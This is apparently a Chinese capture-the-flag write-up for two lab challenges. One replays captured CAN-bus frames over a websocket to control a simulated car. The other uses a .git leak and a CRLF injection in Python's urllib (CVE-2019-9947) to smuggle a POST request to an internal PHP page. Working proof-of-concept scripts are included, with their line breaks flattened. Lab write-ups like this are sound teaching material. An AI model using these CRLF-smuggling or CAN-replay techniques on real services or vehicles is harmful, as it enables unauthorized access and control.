约法X章
CAN 流量分析websocket 流量获取git信息泄露python CRLF 注入 CVE-2019-9947Apache HTTPD 请求头解析futrue
致知力行
CAN总线优点:
硬件方案的软件化实现,简化了设计,降低了成本,且在数据更新增加新信息时,只需软件升级即可,扩充性强;控制单元对所传输的信息进行实时检测,具有错误诊断能力和自动恢复能力,节省生产维护成本;CAN总线符合国际标准,因此可应用不同型号控制单元间的数据传输;数据共享减少了数据的重复处理,节省成本。如对于具有CAN总线接口的电喷发动机,其它电器可共享其提供的转速、水温、机油压力温度等,可省去额外的水温、油压、油温传感器。
打开题目,发现页面中提供了两个功能 功能探索和 开车逃跑,从控制台这里看到有websocket流量,路由为: “/test/log”。
到这里如果之前没有见到过can流量可能不是非常敏感,记得这个路由,回来再看,转到开车逃跑页面,提示我们按回车加速,发现也有websocket流量发出,结构与刚刚接到的十分类似。
逃跑页面提示我们”任务0”为打开左车门。
整理一下已知线索:
探索页面提供http方式触发操作,并且返回流量逃跑页面提供个websocket方式触发操作
所以我们需要从探索页面找到http触发的那一个流量,在逃跑页面提交。
该关卡中所模拟的车辆可理解为ICSim的web版(其中的流量也是魔改ICSim产生的)。现在我们要做的事情如下:
触发动作 — > 获取流量 –-> 提交流量
触发动作则是通过http请求,很容易就可以构造,关键在于需要对发出动作后的websocket流量进行分析,这就需要我们捕获websocket流量,在这里我选择python的websocket包直接与服务端建立连接。
如下:
ws = websocket.WebSocketApp("ws://ip:port/test/log",on_message=on_message,)ws.run_forever()
“on_message” 作为接收到消息的回调接口,每次接收到流量都会调用此函数,我们可以在此函数中触发车辆动作,这样能确保后面获取到的流量都是此次触发动作相关的流量,我们以开右车门为例再次整理已知的线索:
在我们调用开右车门接口后,在CAN流量中可看到发出开右车门的请求流量,所以我们需多次调用开右车的接口,在后续流量中一直重复出现的那个,即为开右车门的请求流量。
完整代码如下:
import websocketimport eventletimport requestspayload_list = []eventlet.monkey_patch()run_counts = 0max_counts = 20do_it = Falsemax_round = 5url="192.168.244.133:7410"def on_message(ws, message):global max_countsglobal do_itglobal max_roundglobal urlif not do_it and max_counts > 0:max_counts = max_counts - 1if max_counts == 0:if not do_it:with requests.get(f"http://{url}/test/control?op=open_left") as f:print(f.text)do_it = not do_itmax_counts = 20max_round = max_round - 1if do_it and max_counts > 0:with open(f"test/after_{max_round}.log", "a+") as f:f.write(message)max_counts = max_counts - 1with open(f"test/after_{run_counts}.log","a+") as f:f.write(message)ws = websocket.WebSocketApp(f"ws://{url}/test/log",on_message=on_message,)ws.run_forever()
通过这种方式,获取到开关左右车门,左转右转的流量,在逃跑页面发送,我这里也是调用python的socket包发送。
注意:开关车门顺序必须按照解题的顺序。
最终根据收集到的流量,整理出完整的poc:
import websocketimport timepayload_list = []def on_message(ws, message):print(message)time.sleep(1)if len(payload_list) > 0:c = payload_list.pop()ws.send(c)def on_error(ws, error):print(ws)print(error)def on_close(ws):print(ws)print("### closed ###")def payload():c = '17E#00000E000000'print(c)payload_list.append(c)c = '17E#00000D000000'print(c)payload_list.append(c)c = '17E#00000D000000'print(c)payload_list.append(c)c = '17E#00000F000000'print(c)payload_list.append(c)c = "244#000000502D"print(c)payload_list.append(c)c = '19A#01000000'print(c)payload_list.append(c)c = "244#00000050"print(c)payload_list.append(c)c = '19A#02000000'print(c)payload_list.append(c)payload_list.append("244#00000050")payload_list.append("get")payload_list.reverse()url = "192.168.244.133:7410"ws = websocket.WebSocketApp(f"ws://{url}/hack/control",on_message=on_message,on_error=on_error,on_close=on_close)if __name__ == '__main__':payload()ws.run_forever()
信息收集
这个页面提示:
看参数,是 open.php, 从header可以发现是python程序,但是参数是一个php,可以推想到是访问了内部的其他服务
又有提示code history, 涉及版本控制, 尝试 /fetch/api?action=.git 发现存在 .git 目录,尝试 git-attack。
下载后通过 Git 退回到初始版本,可以看到 index.php 源码
CRLF
通过输入不是GET的socket的数据包发现报错,可以知道是python的服务,而python中使用 urllib.request.urlopen的http请求中,在历史版本可以找到是存在CRLF的
“index.php” 需发送”POST” 请求,但我们的接口只能构造GET请求,怎么才能发送POST请求呢?
联想 “CVE-2019-9947” 及 “apache” 特性,构造payload:
import urllib.errorimport urllib.requestfrom urllib.parse import quoteimport requeststxt = """/oen HTTP/1.1Host: 127.0.0.1POST /index.php HTTP/1.1Host: 127.0.0.1Content-Length: 39{"get_flag_is_a_beautiful_thing":"yes"}"""url = "192.168.244.133:7410"#sys.argv[1]if __name__ == '__main__':try:text = quote(txt, 'utf-8')text = text.replace("%0A", "%0D%0A")print("http://{url}/fetch/api?action="+text)with requests.get(f"http://{url}/fetch/api?action="+text) as rep:print(rep.text)with requests.get(f"http://{url}/fetch/api?action=flag") as rep:print(rep.text)except urllib.error.URLError as e:print(e)
后请求 fetch/api?action=flag 即可:
题目复现可在竞赛大本营中尝试:
https://www.ichunqiu.com/competition
